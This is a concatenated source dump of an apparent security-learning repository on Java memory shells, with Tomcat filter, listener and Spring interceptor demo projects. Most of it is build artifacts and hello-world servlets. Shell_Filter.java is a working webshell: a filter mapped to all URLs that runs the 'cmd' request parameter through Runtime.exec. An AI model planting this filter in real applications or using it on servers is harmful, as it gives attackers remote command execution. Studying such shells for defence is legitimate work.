4 | 5 | 6 | -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB.war: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB.war -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Created-By: IntelliJ IDEA 3 | Built-By: 34946 4 | Build-Jdk: version 1.8.0_311 5 | 6 | -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/classes/com/controller/test.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/classes/com/controller/test.class -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/aopalliance-1.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/aopalliance-1.0.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/commons-logging-1.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/commons-logging-1.2.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/jstl-1.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/jstl-1.2.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-aop-4.1.4.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-aop-4.1.4.RELEASE.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-beans-4.1.4.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-beans-4.1.4.RELEASE.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-context-4.1.4.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-context-4.1.4.RELEASE.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-core-4.1.4.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-core-4.1.4.RELEASE.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-expression-4.1.4.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-expression-4.1.4.RELEASE.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-web-4.1.4.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-web-4.1.4.RELEASE.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-webmvc-4.1.4.RELEASE.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/spring-webmvc-4.1.4.RELEASE.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/standard-1.1.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/WEB-INF/lib/standard-1.1.2.jar -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_WEBB/target/SpringMVC_WEBB/index.jsp: -------------------------------------------------------------------------------- 1 | 2 | 3 |

Hello World!

4 | 5 | 6 | -------------------------------------------------------------------------------- /Java_memShell/SpringMVC_WEBB/target/classes/com/controller/test.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/SpringMVC_WEBB/target/classes/com/controller/test.class -------------------------------------------------------------------------------- /Java_memShell/Spring_Controller/.gitignore: -------------------------------------------------------------------------------- 1 | HELP.md 2 | target/ 3 | !.mvn/wrapper/maven-wrapper.jar 4 | !**/src/main/**/target/ 5 | !**/src/test/**/target/ 6 | 7 | ### STS ### 8 | .apt_generated 9 | .classpath 10 | .factorypath 11 | .project 12 | .settings 13 | .springBeans 14 | .sts4-cache 15 | 16 | ### IntelliJ IDEA ### 17 | .idea 18 | *.iws 19 | *.iml 20 | *.ipr 21 | 22 | ### NetBeans ### 23 | /nbproject/private/ 24 | /nbbuild/ 25 | /dist/ 26 | /nbdist/ 27 | /.nb-gradle/ 28 | build/ 29 | !**/src/main/**/build/ 30 | !**/src/test/**/build/ 31 | 32 | ### VS Code ### 33 | .vscode/ 34 | -------------------------------------------------------------------------------- /Java_memShell/Spring_Controller/.mvn/wrapper/maven-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Controller/.mvn/wrapper/maven-wrapper.jar -------------------------------------------------------------------------------- /Java_memShell/Spring_Controller/.mvn/wrapper/maven-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.4/apache-maven-3.8.4-bin.zip 2 | wrapperUrl=https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/3.1.0/maven-wrapper-3.1.0.jar 3 | -------------------------------------------------------------------------------- /Java_memShell/Spring_Controller/src/main/java/Learn/Context_Learn.java: -------------------------------------------------------------------------------- 1 | package Learn; 2 | 3 | import org.springframework.web.context.ContextLoader; 4 | import org.springframework.web.context.WebApplicationContext; 5 | 6 | public class Context_Learn { 7 | public static void main(String[] args) { 8 | WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext(); 9 | System.out.println(context); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /Java_memShell/Spring_Controller/src/main/java/com/example/spring_controller/SpringControllerApplication.java: -------------------------------------------------------------------------------- 1 | package com.example.spring_controller; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class SpringControllerApplication { 8 | 9 | public static void main(String[] args) { 10 | SpringApplication.run(SpringControllerApplication.class, args); 11 | } 12 | 13 | } 14 | -------------------------------------------------------------------------------- /Java_memShell/Spring_Controller/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Java_memShell/Spring_Controller/src/test/java/com/example/spring_controller/SpringControllerApplicationTests.java: -------------------------------------------------------------------------------- 1 | package com.example.spring_controller; 2 | 3 | import org.junit.jupiter.api.Test; 4 | import org.springframework.boot.test.context.SpringBootTest; 5 | 6 | @SpringBootTest 7 | class SpringControllerApplicationTests { 8 | 9 | @Test 10 | void contextLoads() { 11 | } 12 | 13 | } 14 | -------------------------------------------------------------------------------- /Java_memShell/Spring_Interceptor/src/main/java/com/shell/controller/Spring_Controller.java: -------------------------------------------------------------------------------- 1 | package com.shell.controller; 2 | 3 | import org.springframework.stereotype.Controller; 4 | import org.springframework.web.bind.annotation.RequestMapping; 5 | import org.springframework.web.bind.annotation.ResponseBody; 6 | 7 | @Controller 8 | public class Spring_Controller { 9 | 10 | @ResponseBody 11 | @RequestMapping("/login") 12 | public String Login(){ 13 | return "Success!"; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /Java_memShell/Spring_Interceptor/src/main/webapp/index.jsp: -------------------------------------------------------------------------------- 1 | 2 | 3 |

Hello World!

4 | 5 | 6 | -------------------------------------------------------------------------------- /Java_memShell/Spring_Interceptor/target/Spring_Interceptor.war: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor.war -------------------------------------------------------------------------------- /Java_memShell/Spring_Interceptor/target/Spring_Interceptor/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Created-By: IntelliJ IDEA 3 | Built-By: 34946 4 | Build-Jdk: version 1.8.0_311 5 | 6 | -------------------------------------------------------------------------------- /Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/classes/com/shell/controller/Spring_Controller.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/classes/com/shell/controller/Spring_Controller.class -------------------------------------------------------------------------------- /Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/classes/com/shell/interceptor/Spring_Interceptor.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/classes/com/shell/interceptor/Spring_Interceptor.class -------------------------------------------------------------------------------- /Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/javax.servlet-api-4.0.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/javax.servlet-api-4.0.1.jar -------------------------------------------------------------------------------- /Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/jstl-1.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/jstl-1.2.jar -------------------------------------------------------------------------------- /Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-aop-5.3.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-aop-5.3.19.jar -------------------------------------------------------------------------------- /Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-beans-5.3.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-beans-5.3.19.jar -------------------------------------------------------------------------------- /Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-context-5.3.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-context-5.3.19.jar -------------------------------------------------------------------------------- /Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-core-5.3.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-core-5.3.19.jar -------------------------------------------------------------------------------- /Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-expression-5.3.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-expression-5.3.19.jar -------------------------------------------------------------------------------- /Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-jcl-5.3.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-jcl-5.3.19.jar -------------------------------------------------------------------------------- /Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-web-5.3.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-web-5.3.19.jar -------------------------------------------------------------------------------- /Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-webmvc-5.3.19.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/spring-webmvc-5.3.19.jar -------------------------------------------------------------------------------- /Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/standard-1.1.2.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/Spring_Interceptor/WEB-INF/lib/standard-1.1.2.jar -------------------------------------------------------------------------------- /Java_memShell/Spring_Interceptor/target/Spring_Interceptor/index.jsp: -------------------------------------------------------------------------------- 1 | 2 | 3 |

Hello World!

4 | 5 | 6 | -------------------------------------------------------------------------------- /Java_memShell/Spring_Interceptor/target/classes/com/shell/controller/Spring_Controller.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/classes/com/shell/controller/Spring_Controller.class -------------------------------------------------------------------------------- /Java_memShell/Spring_Interceptor/target/classes/com/shell/interceptor/Spring_Interceptor.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Spring_Interceptor/target/classes/com/shell/interceptor/Spring_Interceptor.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Filter/src/main/java/Filter/Hello_Filter1.java: -------------------------------------------------------------------------------- 1 | package Filter; 2 | 3 | import javax.servlet.*; 4 | import javax.servlet.annotation.WebFilter; 5 | import java.io.IOException; 6 | import java.io.PrintWriter; 7 | 8 | @WebFilter("/hello") 9 | public class Hello_Filter1 implements Filter { 10 | 11 | @Override 12 | public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { 13 | response.setContentType("text/html; charset=UTF-8"); 14 | PrintWriter writer = response.getWriter(); 15 | writer.write("调用Filter1!
"); 16 | chain.doFilter(request,response); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Filter/src/main/java/Filter/Hello_Filter2.java: -------------------------------------------------------------------------------- 1 | package Filter; 2 | 3 | import javax.servlet.*; 4 | import javax.servlet.annotation.WebFilter; 5 | import java.io.IOException; 6 | import java.io.PrintWriter; 7 | 8 | @WebFilter("/hello") 9 | public class Hello_Filter2 implements Filter { 10 | @Override 11 | public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { 12 | PrintWriter writer = response.getWriter(); 13 | writer.write("调用Filter2!
"); 14 | chain.doFilter(request,response); 15 | 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Filter/src/main/java/Filter/Hello_Servlet.java: -------------------------------------------------------------------------------- 1 | package Filter; 2 | 3 | import javax.servlet.ServletException; 4 | import javax.servlet.annotation.WebServlet; 5 | import javax.servlet.http.HttpServlet; 6 | import javax.servlet.http.HttpServletRequest; 7 | import javax.servlet.http.HttpServletResponse; 8 | import java.io.IOException; 9 | import java.io.PrintWriter; 10 | 11 | @WebServlet("/hello") 12 | public class Hello_Servlet extends HttpServlet { 13 | @Override 14 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 15 | PrintWriter writer = resp.getWriter(); 16 | writer.write("Hello World!"); 17 | writer.close(); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Filter/src/main/java/Filter/Shell_Filter.java: -------------------------------------------------------------------------------- 1 | package Filter; 2 | 3 | import javax.servlet.*; 4 | import javax.servlet.annotation.WebFilter; 5 | import java.io.IOException; 6 | 7 | @WebFilter("/*") 8 | public class Shell_Filter implements Filter { 9 | @Override 10 | public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { 11 | String cmd=request.getParameter("cmd"); 12 | try { 13 | Runtime.getRuntime().exec(cmd); 14 | } catch (IOException e) { 15 | e.printStackTrace(); 16 | }catch (NullPointerException n){ 17 | n.printStackTrace(); 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Filter/src/main/webapp/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | Archetype Created Web Application 7 | 8 | -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Filter/src/main/webapp/index.jsp: -------------------------------------------------------------------------------- 1 | 2 | 3 |

Hello World!

4 | 5 | 6 | -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Filter/target/Tomcat_Filter.war: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Filter/target/Tomcat_Filter.war -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Filter/target/Tomcat_Filter/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Created-By: IntelliJ IDEA 3 | Built-By: 34946 4 | Build-Jdk: version 1.8.0_65 5 | 6 | -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Filter/target/Tomcat_Filter/WEB-INF/classes/Filter/Hello_Filter1.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Filter/target/Tomcat_Filter/WEB-INF/classes/Filter/Hello_Filter1.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Filter/target/Tomcat_Filter/WEB-INF/classes/Filter/Hello_Filter2.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Filter/target/Tomcat_Filter/WEB-INF/classes/Filter/Hello_Filter2.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Filter/target/Tomcat_Filter/WEB-INF/classes/Filter/Hello_Servlet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Filter/target/Tomcat_Filter/WEB-INF/classes/Filter/Hello_Servlet.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Filter/target/Tomcat_Filter/WEB-INF/classes/Filter/Shell_Filter.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Filter/target/Tomcat_Filter/WEB-INF/classes/Filter/Shell_Filter.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Filter/target/Tomcat_Filter/WEB-INF/lib/javax.servlet-api-4.0.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Filter/target/Tomcat_Filter/WEB-INF/lib/javax.servlet-api-4.0.1.jar -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Filter/target/Tomcat_Filter/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | Archetype Created Web Application 7 | 8 | -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Filter/target/Tomcat_Filter/index.jsp: -------------------------------------------------------------------------------- 1 | 2 | 3 |

Hello World!

4 | 5 | 6 | -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Filter/target/classes/Filter/Hello_Filter1.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Filter/target/classes/Filter/Hello_Filter1.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Filter/target/classes/Filter/Hello_Filter2.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Filter/target/classes/Filter/Hello_Filter2.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Filter/target/classes/Filter/Hello_Servlet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Filter/target/classes/Filter/Hello_Servlet.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Filter/target/classes/Filter/Shell_Filter.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Filter/target/classes/Filter/Shell_Filter.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Listener/src/main/java/Hello_Servlet.java: -------------------------------------------------------------------------------- 1 | import javax.servlet.ServletException; 2 | import javax.servlet.annotation.WebServlet; 3 | import javax.servlet.http.HttpServlet; 4 | import javax.servlet.http.HttpServletRequest; 5 | import javax.servlet.http.HttpServletResponse; 6 | import java.io.IOException; 7 | import java.io.PrintWriter; 8 | 9 | @WebServlet("/hello") 10 | public class Hello_Servlet extends HttpServlet { 11 | @Override 12 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 13 | PrintWriter writer = resp.getWriter(); 14 | writer.write("Hello World!"); 15 | writer.close(); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Listener/src/main/java/Listener/Hello_Listener.java: -------------------------------------------------------------------------------- 1 | package Listener; 2 | 3 | import javax.servlet.ServletContextEvent; 4 | import javax.servlet.ServletContextListener; 5 | import javax.servlet.annotation.WebListener; 6 | 7 | @WebListener 8 | public class Hello_Listener implements ServletContextListener { 9 | 10 | @Override 11 | public void contextInitialized(ServletContextEvent sce) { 12 | System.out.println("ServletContext对象创建了!"); 13 | } 14 | 15 | @Override 16 | public void contextDestroyed(ServletContextEvent sce) { 17 | System.out.println("ServletContext对象销毁了!"); 18 | 19 | } 20 | 21 | } 22 | -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Listener/src/main/webapp/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | Archetype Created Web Application 7 | 8 | -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Listener/src/main/webapp/index.jsp: -------------------------------------------------------------------------------- 1 | 2 | 3 |

Hello World!

4 | 5 | 6 | -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Listener/target/Tomcat_Listener.war: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Listener/target/Tomcat_Listener.war -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Listener/target/Tomcat_Listener/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Created-By: IntelliJ IDEA 3 | Built-By: 34946 4 | Build-Jdk: version 1.8.0_65 5 | 6 | -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Listener/target/Tomcat_Listener/WEB-INF/classes/Hello_Servlet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Listener/target/Tomcat_Listener/WEB-INF/classes/Hello_Servlet.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Listener/target/Tomcat_Listener/WEB-INF/classes/Listener/Hello_Listener.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Listener/target/Tomcat_Listener/WEB-INF/classes/Listener/Hello_Listener.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Listener/target/Tomcat_Listener/WEB-INF/classes/Listener/Shell_Listener.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Listener/target/Tomcat_Listener/WEB-INF/classes/Listener/Shell_Listener.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Listener/target/Tomcat_Listener/WEB-INF/lib/javax.servlet-api-4.0.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Listener/target/Tomcat_Listener/WEB-INF/lib/javax.servlet-api-4.0.1.jar -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Listener/target/Tomcat_Listener/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | Archetype Created Web Application 7 | 8 | -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Listener/target/Tomcat_Listener/index.jsp: -------------------------------------------------------------------------------- 1 | 2 | 3 |

Hello World!

4 | 5 | 6 | -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Listener/target/classes/Hello_Servlet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Listener/target/classes/Hello_Servlet.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Listener/target/classes/Listener/Hello_Listener.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Listener/target/classes/Listener/Hello_Listener.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Listener/target/classes/Listener/Shell_Listener.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Listener/target/classes/Listener/Shell_Listener.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/src/main/java/Tools/Base64_Class.java: -------------------------------------------------------------------------------- 1 | package Tools; 2 | 3 | import java.io.IOException; 4 | import java.nio.file.Files; 5 | import java.nio.file.Paths; 6 | import java.util.Base64; 7 | 8 | public class Base64_Class { 9 | public static void main(String[] args) throws IOException { 10 | byte[] data = Base64.getEncoder().encode(Files.readAllBytes(Paths.get("ser.bin"))); 11 | System.out.println(new String(data).length()); 12 | System.out.println(new String(data)); 13 | } 14 | 15 | } 16 | -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/src/main/webapp/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | Archetype Created Web Application 7 | 8 | -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/src/main/webapp/index.jsp: -------------------------------------------------------------------------------- 1 | 2 | 3 |

Hello World!

